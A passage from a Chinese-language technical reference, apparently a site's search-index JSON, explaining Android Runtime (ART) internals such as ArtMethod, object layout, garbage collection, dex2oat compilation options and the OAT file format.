tls_32bit_sized_values { union StateAndFlags state_and_flags; int suspend_count; int debug_suspend_count; // ... } tls32_; struct PACKED(8) tls_ptr_sized_values { JNIEnvExt* jni_env; ManagedStack managed_stack; mirror::Object* exception; // ... } tlsPtr_; }; ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:2:3","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#thread-类"},{"categories":null,"collections":null,"content":"内存布局 ART 进程的内存布局： ┌─────────────────────────────────────────────────────────────────────────┐ │ ART 进程内存布局 │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ 高地址 ───────────────────────────────────────────────────────────── │ │ │ │ ┌───────────────────────────────────────────────────────────────────┐ │ │ │ 内核空间 (Kernel) │ │ │ └───────────────────────────────────────────────────────────────────┘ │ │ │ │ ┌───────────────────────────────────────────────────────────────────┐ │ │ │ 栈 (Stack) │ │ │ │ - 每个线程一个栈 │ │ │ │ - 包含 Java 栈帧和 Native 栈帧 │ │ │ └───────────────────────────────────────────────────────────────────┘ │ │ │ │ ┌───────────────────────────────────────────────────────────────────┐ │ │ │ 内存映射 (mmap) │ │ │ │ ┌─────────────────┐ ┌─────────────────┐ ┌─────────────────┐ │ │ │ │ │ boot.art │ │ boot.oat │ │ app.oat │ │ │ │ │ │ (Image Heap) │ │ (Boot Code) │ │ (App Code) │ │ │ │ │ └─────────────────┘ └─────────────────┘ └─────────────────┘ │ │ │ │ ┌─────────────────┐ ┌─────────────────┐ │ │ │ │ │ libart.so │ │ 其他 .so 文件 │ │ │ │ │ └─────────────────┘ └─────────────────┘ │ │ │ └───────────────────────────────────────────────────────────────────┘ │ │ │ │ ┌───────────────────────────────────────────────────────────────────┐ │ │ │ ART 托管堆 (Managed Heap) │ │ │ │ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │ │ │ │ │ Image Space │ │ Zygote Space│ │ Alloc Space │ │ │ │ │ │ (只读) │ │ (共享) │ │ (App 对象) │ │ │ │ │ └─────────────┘ └─────────────┘ └─────────────┘ │ │ │ │ ┌─────────────┐ ┌─────────────┐ │ │ │ │ │ Large Object│ │ Non-Moving │ │ │ │ │ │ Space │ │ Space │ │ │ │ │ └─────────────┘ └─────────────┘ │ │ │ └───────────────────────────────────────────────────────────────────┘ │ │ │ │ ┌───────────────────────────────────────────────────────────────────┐ │ │ │ 程序段 (Text/Data/BSS) │ │ │ └───────────────────────────────────────────────────────────────────┘ │ │ │ │ 低地址 ───────────────────────────────────────────────────────────── │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:2:4","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#内存布局"},{"categories":null,"collections":null,"content":"ART 方法调用机制 ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:3:0","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#art-方法调用机制"},{"categories":null,"collections":null,"content":"方法执行模式 ART 支持三种方法执行模式： ┌─────────────────────────────────────────────────────────────────────────┐ │ ART 方法执行模式 │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ ┌─────────────────┐ ┌─────────────────┐ ┌─────────────────┐ │ │ │ 解释执行 │ │ JIT 编译执行 │ │ AOT 编译执行 │ │ │ │ (Interpreter) │ │ (JIT Compiled) │ │ (AOT Compiled) │ │ │ └────────┬────────┘ └────────┬────────┘ └────────┬────────┘ │ │ │ │ │ │ │ ▼ ▼ ▼ │ │ ┌─────────────────┐ ┌─────────────────┐ ┌─────────────────┐ │ │ │ 逐条解释 DEX │ │ 运行时编译为 │ │ 直接执行预编译 │ │ │ │ 字节码指令 │ │ 本地代码并缓存 │ │ 的本地机器码 │ │ │ └─────────────────┘ └─────────────────┘ └─────────────────┘ │ │ │ │ 速度：慢 │ 速度：中等 │ 速度：快 │ │ 内存：小 │ 内存：动态增长 │ 内存：预分配 │ │ 用途：调试/首次运行 │ 用途：热点代码 │ 用途：核心路径 │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:3:1","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#方法执行模式"},{"categories":null,"collections":null,"content":"ArtMethod 结构 ArtMethod 是 ART 中表示 Java 方法的核心结构： // art/runtime/art_method.h class ArtMethod { protected: // 声明该方法的类 GcRoot\u003cmirror::Class\u003e declaring_class_; // 访问标志 (public, static, native 等) std::atomic\u003cuint32_t\u003e access_flags_; // 方法在 DEX 文件中的索引 uint32_t dex_method_index_; // 方法在虚表中的索引 uint16_t method_index_; // 热度计数器 (用于 JIT 决策) uint16_t hotness_count_; // 指向数据的指针 (根据编译状态不同含义不同) struct PtrSizedFields { // 方法入口点 void* entry_point_from_quick_compiled_code_; // JNI 代码 (native 方法) 或 DEX 代码指针 void* data_; } ptr_sized_fields_; }; ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:3:2","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#artmethod-结构"},{"categories":null,"collections":null,"content":"方法入口点 (Entry Point) 每个 ArtMethod 有一个入口点，决定了方法如何被执行： ┌─────────────────────────────────────────────────────────────────────────┐ │ 方法入口点类型 │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ ArtMethod │ │ ┌────────────────────────────────────────────────────────────────┐ │ │ │ entry_point_from_quick_compiled_code_ ───────────┐ │ │ │ └────────────────────────────────────────────────────────────────┘ │ │ │ │ │ ▼ │ │ ┌───────────────────────────────────────┐ │ │ │ 入口点类型 │ │ │ ├───────────────────────────────────────┤ │ │ │ │ │ │ ┌────────────────────┐ │ 1. 解释器入口 │ │ │ │ art_quick_to_ │◄──│ art_quick_to_interpreter_bridge │ │ │ │ interpreter_bridge │ │ │ │ │ └────────────────────┘ │ 2. JNI 入口 (native 方法) │ │ │ │ art_quick_generic_jni_trampoline │ │ │ ┌────────────────────┐ │ │ │ │ │ Compiled Code │◄──│ 3. 编译后的代码地址 │ │ │ │ (OAT/JIT) │ │ 直接指向 OAT 或 JIT 编译的代码 │ │ │ └────────────────────┘ │ │ │ │ │ 4. 抽象方法蹦床 │ │ │ ┌────────────────────┐ │ art_quick_invoke_stub │ │ │ │ Resolution │◄──│ │ │ │ │ Trampoline │ │ 5. 分辨蹦床 (未链接方法) │ │ │ └────────────────────┘ │ art_quick_resolution_trampoline │ │ │ └───────────────────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:3:3","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#方法入口点-entry-point"},{"categories":null,"collections":null,"content":"方法调用流程 // 伪代码：方法调用流程 void InvokeMethod(ArtMethod* method, Object* receiver, args...) { // 1. 获取入口点 void* entry_point = method-\u003eGetEntryPointFromQuickCompiledCode(); // 2. 根据入口点类型执行 if (entry_point == art_quick_to_interpreter_bridge) { // 解释执行 InterpretMethod(method, receiver, args); } else if (entry_point == art_quick_generic_jni_trampoline) { // JNI 调用 CallJniMethod(method, receiver, args); } else { // 直接执行编译后的代码 typedef void (*CompiledCode)(Object*, ...); ((CompiledCode)entry_point)(receiver, args); } } ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:3:4","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#方法调用流程"},{"categories":null,"collections":null,"content":"Quick vs Portable 编译 ART 早期支持两种编译后端： 特性 Quick Portable 实现方式 直接生成目标架构汇编 使用 LLVM 后端 性能 更快的编译速度 更好的运行时性能 代码大小 较小 较大 平台支持 需要为每个架构单独实现 LLVM 自动支持多平台 现状 主要使用 已在 Android 6.0 移除 现代 ART 主要使用 Optimizing Compiler，它是 Quick 编译器的演进版本，具有更好的优化能力。 ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:3:5","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#quick-vs-portable-编译"},{"categories":null,"collections":null,"content":"ART 对象模型与类结构 ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:4:0","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#art-对象模型与类结构"},{"categories":null,"collections":null,"content":"对象头 (Object Header) 每个 Java 对象在内存中都有一个对象头： // art/runtime/mirror/object.h class Object { protected: // 对象头只有一个字段：类指针 + 锁/GC 状态 HeapReference\u003cClass\u003e klass_; // Monitor (锁) 或 HashCode 或 GC 标记 uint32_t monitor_; }; 32 位系统对象布局： ┌─────────────────────────────────────────────────────────────────────────┐ │ 32 位对象内存布局 │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ ┌────────────────────────────────────────────────────────────────┐ │ │ │ Object Header (8 bytes) │ │ │ ├────────────────────────────────────────────────────────────────┤ │ │ │ ┌─────────────────────────┐ ┌─────────────────────────┐ │ │ │ │ │ klass_ (4 bytes) │ │ monitor_ (4 bytes) │ │ │ │ │ │ 指向 Class 对象 │ │ 锁状态/HashCode/GC标记 │ │ │ │ │ └─────────────────────────┘ └─────────────────────────┘ │ │ │ ├────────────────────────────────────────────────────────────────┤ │ │ │ Instance Fields (变长) │ │ │ │ ┌─────────────────────────────────────────────────────┐ │ │ │ │ │ 字段1 │ 字段2 │ 字段3 │ ... │ 字段N │ │ │ │ │ └─────────────────────────────────────────────────────┘ │ │ │ └────────────────────────────────────────────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:4:1","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#对象头-object-header"},{"categories":null,"collections":null,"content":"Class 结构 Class 对象包含类的所有元信息： // art/runtime/mirror/class.h (简化) class Class : public Object { protected: // 类加载器 HeapReference\u003cClassLoader\u003e class_loader_; // 组件类型 (数组类才有) HeapReference\u003cClass\u003e component_type_; // DexCache 缓存 HeapReference\u003cDexCache\u003e dex_cache_; // 接口表 HeapReference\u003cIfTable\u003e iftable_; // 类名 HeapReference\u003cString\u003e name_; // 父类 HeapReference\u003cClass\u003e super_class_; // 虚方法表 (vtable) HeapReference\u003cPointerArray\u003e vtable_; // 静态字段值 uint64_t sfields_[0]; // 实例字段偏移 uint32_t ifields_[0]; // 访问标志 uint32_t access_flags_; // 类状态 ClassStatus status_; // 对象大小 uint32_t object_size_; // ... 更多字段 }; ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:4:2","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#class-结构"},{"categories":null,"collections":null,"content":"类结构关系图 ┌─────────────────────────────────────────────────────────────────────────┐ │ ART 类结构关系 │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ ┌─────────────────────────────────────────────────────────┐ │ │ │ Class 对象 │ │ │ ├─────────────────────────────────────────────────────────┤ │ │ │ super_class_ ────────────────► [父类 Class] │ │ │ │ class_loader_ ───────────────► [ClassLoader] │ │ │ │ dex_cache_ ──────────────────► [DexCache] │ │ │ │ vtable_ ─────────────────────► [虚方法表] │ │ │ │ iftable_ ────────────────────► [接口表] │ │ │ │ methods_ ────────────────────► [方法数组] │ │ │ │ ifields_ ────────────────────► [实例字段] │ │ │ │ sfields_ ────────────────────► [静态字段] │ │ │ └─────────────────────────────────────────────────────────┘ │ │ │ │ │ ▼ │ │ ┌─────────────────────────────────────────────────────────┐ │ │ │ DexCache │ │ │ ├─────────────────────────────────────────────────────────┤ │ │ │ resolved_types_[] ───────────► [已解析的类型] │ │ │ │ resolved_methods_[] ─────────► [已解析的方法] │ │ │ │ resolved_fields_[] ──────────► [已解析的字段] │ │ │ │ strings_[] ──────────────────► [字符串常量池] │ │ │ │ dex_file_ ───────────────────► [DEX 文件指针] │ │ │ └─────────────────────────────────────────────────────────┘ │ │ │ │ │ ▼ │ │ ┌─────────────────────────────────────────────────────────┐ │ │ │ DexFile (Native) │ │ │ ├─────────────────────────────────────────────────────────┤ │ │ │ begin_ ──────────────────────► [DEX 数据起始] │ │ │ │ size_ ───────────────────────► [DEX 大小] │ │ │ │ header_ ─────────────────────► [DEX 头] │ │ │ │ string_ids_ ─────────────────► [字符串 ID 表] │ │ │ │ type_ids_ ───────────────────► [类型 ID 表] │ │ │ │ method_ids_ ─────────────────► [方法 ID 表] │ │ │ └─────────────────────────────────────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:4:3","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#类结构关系图"},{"categories":null,"collections":null,"content":"虚方法表 (VTable) Java 虚方法调用通过 VTable 实现： ┌─────────────────────────────────────────────────────────────────────────┐ │ 虚方法表 (VTable) 结构 │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ class Base { class Derived extends Base { │ │ void method1() {} @Override │ │ void method2() {} void method1() {} // 重写 │ │ } void method3() {} // 新增 │ │ } │ │ │ │ ┌─────────────────────────┐ ┌─────────────────────────┐ │ │ │ Base VTable │ │ Derived VTable │ │ │ ├─────────────────────────┤ ├─────────────────────────┤ │ │ │ [0] Object.toString │ │ [0] Object.toString │ │ │ │ [1] Object.hashCode │ │ [1] Object.hashCode │ │ │ │ [2] Object.equals │ │ [2] Object.equals │ │ │ │ [3] Base.method1 ─────────────│ [3] Derived.method1 ◄───│ 覆盖 │ │ │ [4] Base.method2 │ │ [4] Base.method2 │ │ │ └─────────────────────────┘ │ [5] Derived.method3 ◄───│ 新增 │ │ └─────────────────────────┘ │ │ │ │ 虚方法调用过程： │ │ obj.method1() │ │ 1. 获取 obj 的 klass_ │ │ 2. 从 klass_-\u003evtable_ 中读取索引 3 的 ArtMethod* │ │ 3. 调用该 ArtMethod 的 entry_point │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:4:4","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#虚方法表-vtable"},{"categories":null,"collections":null,"content":"ART 垃圾回收 (GC) 机制 ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:5:0","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#art-垃圾回收-gc-机制"},{"categories":null,"collections":null,"content":"GC 类型 ART 支持多种 GC 策略： GC 类型 描述 暂停时间 使用场景 CMS (Concurrent Mark Sweep) 并发标记清除 短暂停 默认 GC，低延迟 SS (Semi-Space) 半空间复制 长暂停 内存紧张时 GSS (Generational Semi-Space) 分代半空间 中等暂停 分代回收 CC (Concurrent Copying) 并发复制 极短暂停 Android 8.0+ 默认 CMC (Concurrent Mark Compact) 并发标记整理 短暂停 减少碎片 ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:5:1","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#gc-类型"},{"categories":null,"collections":null,"content":"堆空间划分 ┌─────────────────────────────────────────────────────────────────────────┐ │ ART 堆空间划分 │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ ┌─────────────────────────────────────────────────────────────────┐ │ │ │ Managed Heap │ │ │ ├─────────────────────────────────────────────────────────────────┤ │ │ │ │ │ │ │ ┌───────────────┐ ┌───────────────┐ ┌───────────────┐ │ │ │ │ │ Image Space │ │ Zygote Space │ │ Allocation │ │ │ │ │ │ (只读映射) │ │ (COW 共享) │ │ Space │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ • boot.art │ │ • Zygote 对象 │ │ • App 对象 │ │ │ │ │ │ • 系统类 │ │ • 预加载类 │ │ • 新分配 │ │ │ │ │ │ • 不可 GC │ │ • 进程间共享 │ │ • GC 目标 │ │ │ │ │ └───────────────┘ └───────────────┘ └───────────────┘ │ │ │ │ │ │ │ │ ┌───────────────┐ ┌───────────────┐ ┌───────────────┐ │ │ │ │ │ Large Object │ │ Non-Moving │ │ Region │ │ │ │ │ │ Space │ │ Space │ │ Space │ │ │ │ │ │ │ │ │ │ (CC GC 专用) │ │ │ │ │ │ • 大对象分配 │ │ • 不移动对象 │ │ │ │ │ │ │ │ • \u003e 12KB │ │ • JNI 引用 │ │ • 256KB 区域 │ │ │ │ │ │ • 独立 GC │ │ • 类对象 │ │ • 并发复制 │ │ │ │ │ └───────────────┘ └───────────────┘ └───────────────┘ │ │ │ │ │ │ │ └─────────────────────────────────────────────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:5:2","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#堆空间划分"},{"categories":null,"collections":null,"content":"并发复制 GC (CC) 流程 Android 8.0+ 默认使用的 CC (Concurrent Copying) GC： ┌─────────────────────────────────────────────────────────────────────────┐ │ CC GC 执行流程 │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ 时间 ────────────────────────────────────────────────────────────────► │ │ │ │ 应用线程： │ │ ████████████░░████████████████████████████████████████████████████████ │ │ ▲ │ │ │ 短暂停 (\u003c 1ms) │ │ │ │ GC 线程： │ │ ░░░░░░░░░░░█████████████████████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ │ │ │ │ │ │ ├───────────────────────┤ │ │ │ 并发标记 + 复制 │ │ │ │ │ 阶段说明： │ │ 1. 初始标记 (STW) - 标记 GC Roots，暂停 \u003c 1ms │ │ 2. 并发标记 - 遍历对象图，与应用并行 │ │ 3. 并发复制 - 将存活对象复制到新区域 │ │ 4. 引用更新 - 使用 read barrier 更新引用 │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:5:3","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#并发复制-gc-cc-流程"},{"categories":null,"collections":null,"content":"Read Barrier (读屏障) CC GC 使用读屏障来保证并发安全： // 读屏障伪代码 Object* ReadBarrier(Object** field) { Object* obj = *field; if (obj != nullptr \u0026\u0026 IsInFromSpace(obj)) { // 对象正在被复制，获取新地址 Object* forward = GetForwardingAddress(obj); if (forward != nullptr) { // 更新引用指向新地址 *field = forward; return forward; } } return obj; } ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:5:4","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#read-barrier-读屏障"},{"categories":null,"collections":null,"content":"GC 触发条件 // GC 触发条件 void MaybeGC() { // 1. 分配失败 if (allocation_failed) { TriggerGC(kGcCauseForAlloc); } // 2. 达到堆阈值 if (bytes_allocated \u003e growth_limit_) { TriggerGC(kGcCauseHeapTrim); } // 3. 显式调用 System.gc() if (explicit_gc_requested) { TriggerGC(kGcCauseExplicit); } // 4. 后台 GC if (app_in_background \u0026\u0026 idle_time \u003e threshold) { TriggerGC(kGcCauseBackground); } } ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:5:5","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#gc-触发条件"},{"categories":null,"collections":null,"content":"dex2oat 编译流程详解 ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:6:0","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#dex2oat-编译流程详解"},{"categories":null,"collections":null,"content":"编译器架构 ┌─────────────────────────────────────────────────────────────────────────┐ │ dex2oat 编译流程 │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ 输入 编译器 输出 │ │ ┌─────────┐ ┌─────────────────────────┐ ┌─────────┐ │ │ │ │ │ │ │ │ │ │ │ APK/DEX │─────────────►│ Optimizing │──►│ OAT │ │ │ │ │ │ Compiler │ │ │ │ │ └─────────┘ │ │ └─────────┘ │ │ │ ┌─────────────────┐ │ │ │ │ │ Frontend │ │ ┌─────────┐ │ │ │ │ (DEX → HIR) │ │──►│ VDEX │ │ │ │ └────────┬────────┘ │ └─────────┘ │ │ │ ▼ │ │ │ │ ┌─────────────────┐ │ ┌─────────┐ │ │ │ │ Optimization │ │──►│ ART │ │ │ │ │ (HIR → HIR) │ │ │ (Image) │ │ │ │ └────────┬────────┘ │ └─────────┘ │ │ │ ▼ │ │ │ │ ┌─────────────────┐ │ │ │ │ │ Backend │ │ │ │ │ │ (HIR → 机器码) │ │ │ │ │ └─────────────────┘ │ │ │ └─────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:6:1","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#编译器架构"},{"categories":null,"collections":null,"content":"HIR (High-level IR) 优化 优化编译器执行多种优化： ┌─────────────────────────────────────────────────────────────────────────┐ │ HIR 优化 Pass │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ 1. 构建阶段 │ │ ├── SsaBuilder 构建 SSA 形式 │ │ └── ReferenceTypePropagation 类型传播 │ │ │ │ 2. 分析阶段 │ │ ├── InductionVarAnalysis 归纳变量分析 │ │ ├── LoadStoreAnalysis 加载存储分析 │ │ └── SideEffectsAnalysis 副作用分析 │ │ │ │ 3. 优化阶段 │ │ ├── InstructionSimplifier 指令简化 │ │ ├── ConstantFolding 常量折叠 │ │ ├── DeadCodeElimination 死代码消除 │ │ ├── InlinerForTest 内联 │ │ ├── BoundsCheckElimination 边界检查消除 │ │ ├── LoopOptimization 循环优化 │ │ ├── LoadStoreElimination 加载存储消除 │ │ └── GVN 全局值编号 │ │ │ │ 4. 代码生成 │ │ ├── RegisterAllocator 寄存器分配 │ │ ├── CodeGenerator 代码生成 │ │ └── SlowPathGenerator 慢路径生成 │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:6:2","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#hir-high-level-ir-优化"},{"categories":null,"collections":null,"content":"dex2oat 命令行参数 # 完整的 dex2oat 调用示例 dex2oat \\ --dex-file=/data/app/com.example.app/base.apk \\ --oat-file=/data/dalvik-cache/arm64/data@app@com.example.app@base.apk@classes.dex \\ --instruction-set=arm64 \\ --instruction-set-features=default \\ --runtime-arg -Xms64m \\ --runtime-arg -Xmx512m \\ --compiler-filter=speed-profile \\ --profile-file=/data/misc/profiles/cur/0/com.example.app/primary.prof \\ --generate-mini-debug-info \\ --app-image-file=/data/dalvik-cache/arm64/data@app@com.example.app@base.apk@classes.art # 常用编译过滤器 # --compiler-filter=\u003cfilter\u003e # verify - 仅验证 DEX # quicken - 快速优化，无编译 # speed - 编译所有方法 # speed-profile - 基于 profile 编译热点方法 # everything - 编译所有，包括调试信息 ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:6:3","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#dex2oat-命令行参数"},{"categories":null,"collections":null,"content":"编译过滤器对比 Filter 编译内容 OAT 大小 编译时间 运行性能 verify 无 最小 最快 解释执行 quicken 快速优化 小 快 稍快 speed 全部方法 大 慢 最佳 speed-profile 热点方法 中等 中等 很好 everything 全部+调试 最大 最慢 最佳+可调试 ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:6:4","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#编译过滤器对比"},{"categories":null,"collections":null,"content":"ART 生成的文件格式 当 ART 处理一个 APK 时，会在 /data/dalvik-cache/\u003carch\u003e/ 目录下生成一些优化后的文件。 ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:7:0","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#art-生成的文件格式"},{"categories":null,"collections":null,"content":"文件位置 # 系统 boot image /system/framework/arm64/boot.art /system/framework/arm64/boot.oat /system/framework/arm64/boot.vdex # 应用编译产物 /data/dalvik-cache/arm64/data@app@\u003cpackage\u003e@base.apk@classes.dex /data/dalvik-cache/arm64/data@app@\u003cpackage\u003e@base.apk@classes.art /data/dalvik-cache/arm64/data@app@\u003cpackage\u003e@base.apk@classes.vdex # 或者在应用目录 (Android 10+) /data/app/\u003cpackage\u003e/oat/arm64/base.odex /data/app/\u003cpackage\u003e/oat/arm64/base.vdex /data/app/\u003cpackage\u003e/oat/arm64/base.art ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:7:1","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 深度解析","uri":"/reverse_engineering/android/04-reference/foundations/art_runtime/#文件位置"},{"categories":null,"collections":null,"content":"OAT 文件 (.oat) OAT (Optimized Android file format) 文件是核心。它包含了由 dex2oat 从 DEX 字节码编译而来的本地机器码 (ARM 汇编)。 ┌─────────────────────────────────────────────────────────────────────────┐ │ OAT 文件结构 │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ ┌───────────────────────────────────────────────────────────────────┐ │ │ │ ELF Header │ │ │ │ - e_ident: 0x7f 'E' 'L' 'F' │ │ │ │ - e_type: ET_DYN (共享对象) │ │ │ │ - e_machine: EM_AARCH64 / EM_ARM │ │ │ └───────────────────────────────────────────────────────────────────┘ │ │ │ │ ┌───────────────────────────────────────────────────────────────────┐ │ │ │ .rodata Section │ │ │ │ ┌─────────────────────────────────────────────────────────────┐ │ │ │ │ │ OatHeader │ │ │ │ │ │ - magic: \"oat\\n\" │ │ │ │ │ │ - version: \"183\" (Android 14) │ │ │ │ │ │ - checksum │ │ │ │ │ │ - instruction_set │ │ │ │ │ │ - key_value_store (编译选项) │ │ │ │ │ └─────────────────────────────────────────────────────────────┘ │ │ │ │ ┌─────────────────────────────────────────────────────────────┐ │ │ │ │ │ OatDexFile[] (每个 DEX 的元信息) │ │ │ │ │ │ - dex_file_location │ │ │ │ │ │ - dex_file_checksum │ │ │ │ │ │ - methods_offsets (方法代码偏移表) │ │ │ │ │ └─────────────────────────────────────────────────────────────┘ │ │ │ └───────────────────────────────────────────────────────────────────┘ │ │ │ │ ┌───────────────────────────────────────────────────────────────────┐ │ │ │ .text Section (oatexec) │ │ │ │ - 编译后的本地机器码 │ │ │ │ - 每个方法的代码紧密排列 │ │ │ │ - 包含 GC map、栈 map 等元信息 │ │ │ └───────────────────────────────────────────────────────────────────┘ │ │ │ │ ┌───────────────────────────────────────────────────────────────────┐ │ │ │ .bss Section │ │ │ │ - 用于 ART 运行时填充的数据 │ │ │ └───────────────────────────────────────────────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ","date":"2024-05-07","objectID":"/reverse_engineering/android/04-reference/foundations/art_runtime/:7:2","tags":["Native层","签名验证","Frida","SSL Pinning","JNI","Ghidra"],"title":"Android 运行时 (ART) 